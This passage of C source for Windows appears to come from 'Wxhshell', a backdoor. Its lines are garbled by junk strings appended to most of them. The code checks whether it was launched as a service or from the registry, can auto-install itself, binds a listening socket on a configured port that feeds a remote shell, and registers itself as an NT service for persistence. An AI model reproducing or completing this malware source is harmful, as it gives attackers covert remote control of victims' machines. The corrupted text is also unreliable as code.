ULONG InheritedFromUniqueProcessId;
R4qS,2E
} PROCESS_BASIC_INFORMATION; *9*I:Uh57
B|!YGfL
PROCNTQSIP NtQueryInformationProcess; 47t^{WrT
9N-mIGJ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LWIU7dw
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]aaHb
Lqz}h-Ei
HANDLE hProcess; )_f
"[m%
PROCESS_BASIC_INFORMATION pbi; wdp4- *
c.d*DM}W
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \WZ00Y,*
if(NULL == hInst ) return 0; p%,JWZ[
x#pTB.
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m4kmJaM
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _u.l|yR
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cL`l1:j\}
\)LY_D:
if (!NtQueryInformationProcess) return 0; iaPY>EP1
6idYz"P %
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NEK;'"~
if(!hProcess) return 0; v|n.AGn
OZ7MpQ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w`i3B@w
^>]p4Q3 6
CloseHandle(hProcess); H# Vs3*VK
o>j3<#?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *UEo&B2+
if(hProcess==NULL) return 0; )8P<ZtEU
<;_X=s`f,
HMODULE hMod; q?\3m3GM
char procName[255]; 03{e[#6
unsigned long cbNeeded; ]Ub?Wo7F?
|%TH|?kB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fet>KacTht
6B|IbQ^
CloseHandle(hProcess); , gz:2UY#
-S9$C*t
if(strstr(procName,"services")) return 1; // 以服务启动 <51 (q_f
B&<Z#C:I
return 0; // 注册表启动 +vZ-o{}.jO
} ?$8OVq.w,
n802!d+Tn
// 主模块 ~hz]x^:
int StartWxhshell(LPSTR lpCmdLine) 1oodw!hW
{ b+3{ bE
SOCKET wsl; "TG}aS
BOOL val=TRUE; R%54!f0
%
int port=0; H@MUzV
struct sockaddr_in door; B
ljZ&wZW
H?^Poe(=(
if(wscfg.ws_autoins) Install(); MJDFm,
F8/4PB8-
port=atoi(lpCmdLine); # l}Y1^PDd
)*$'e<?`
if(port<=0) port=wscfg.ws_port; :'a |cjq
o3j4XrK
WSADATA data; c00a;=ji
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;/
WtO2
A"i40 @+
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; -bcm"(<T'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
g$9Yfu
door.sin_family = AF_INET; mI9~\k&9
door.sin_addr.s_addr = inet_addr("127.0.0.1"); jD'\\jAUdm
door.sin_port = htons(port); |*jnJWH4:
m03;'Nj'7#
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~B1)!5Z
closesocket(wsl); jh2D9h
return 1; -=QA{n
} ~S#Le
3Sf<oYF
if(listen(wsl,2) == INVALID_SOCKET) { ?neXs-'-p
closesocket(wsl); ( *U Mpdj
return 1; >t 3%-Kc
} $x#Y\dpS
Wxhshell(wsl); i|y8n7c
WSACleanup(); j^mAJ5
@=isN'>] O
return 0; 0,E*9y}
gb(a`
} Ae;>
@k/|=
m ['UV2
// 以NT服务方式启动 }p]8'($
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q%2cx@c
{ ~\6Kq`Y
DWORD status = 0; 9jCn|+
DWORD specificError = 0xfffffff; >01&3-r
'UUIY$V[
serviceStatus.dwServiceType = SERVICE_WIN32; AKzhal!
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Z9E[RD
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~bf-uHx
serviceStatus.dwWin32ExitCode = 0; =hjff/
X
serviceStatus.dwServiceSpecificExitCode = 0; )C|[j@MD
serviceStatus.dwCheckPoint = 0; GNgPf"}K
serviceStatus.dwWaitHint = 0; |B./5 ,nSS
S bc
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /YKg.DA|
if (hServiceStatusHandle==0) return; [daUtKz
d
*!) wt
status = GetLastError(); j;WZ[g#t
if (status!=NO_ERROR) /2Y t\=S=
{ LK-2e$1
serviceStatus.dwCurrentState = SERVICE_STOPPED; )Gi!wm>zvN
serviceStatus.dwCheckPoint = 0; 2g$PEwXe
serviceStatus.dwWaitHint = 0; >;-.rJFr
serviceStatus.dwWin32ExitCode = status; x_GD
serviceStatus.dwServiceSpecificExitCode = specificError; A9`& Wnw?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2"cUBFc1I
return; @!1o +x
} PJ5~,4H-4
vR[XbsNM
serviceStatus.dwCurrentState = SERVICE_RUNNING; \7n ;c
serviceStatus.dwCheckPoint = 0; 3WHj|ENW
serviceStatus.dwWaitHint = 0; x\z*iv
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )*}2L_5]
} {ZP0%MD
_a|-_p
// 处理NT服务事件,比如:启动、停止 airg[dK
VOID WINAPI NTServiceHandler(DWORD fdwControl) p6VS<L
{ Zi<Y?Vm/,O
switch(fdwControl) e*{'A
{ "j#;MOK
case SERVICE_CONTROL_STOP: j*B,b4
serviceStatus.dwWin32ExitCode = 0; gY9HEfB
serviceStatus.dwCurrentState = SERVICE_STOPPED; &FH